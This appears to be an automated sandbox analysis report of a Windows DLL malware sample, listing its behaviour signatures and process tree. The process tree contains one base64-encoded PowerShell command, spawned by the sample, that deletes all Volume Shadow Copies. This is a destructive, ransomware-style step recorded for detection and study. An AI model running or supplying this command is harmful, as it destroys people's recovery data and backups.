Analysis

  • max time kernel
    91s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    04/06/2022, 17:46

General

  • Target
    0ec8eff45c314050b4db7b496e8dd9f2bf92672cb0c2bca939e5f225281993de.dll
  • Size 164KB
  • Sample220604-wcsejahea2
  • SHA256 0ec8eff45c314050b4db7b496e8dd9f2bf92672cb0c2bca939e5f225281993de
  • MD5 SHA1 SHA512
Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\0ec8eff45c314050b4db7b496e8dd9f2bf92672cb0c2bca939e5f225281993de.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\0ec8eff45c314050b4db7b496e8dd9f2bf92672cb0c2bca939e5f225281993de.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4968
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2640
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1048

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/4968-132-0x0000029F08D20000-0x0000029F08D42000-memory.dmp

          memory/4968-133-0x00007FFBD4670000-0x00007FFBD5131000-memory.dmp

          memory/4968-134-0x00007FFBD4670000-0x00007FFBD5131000-memory.dmp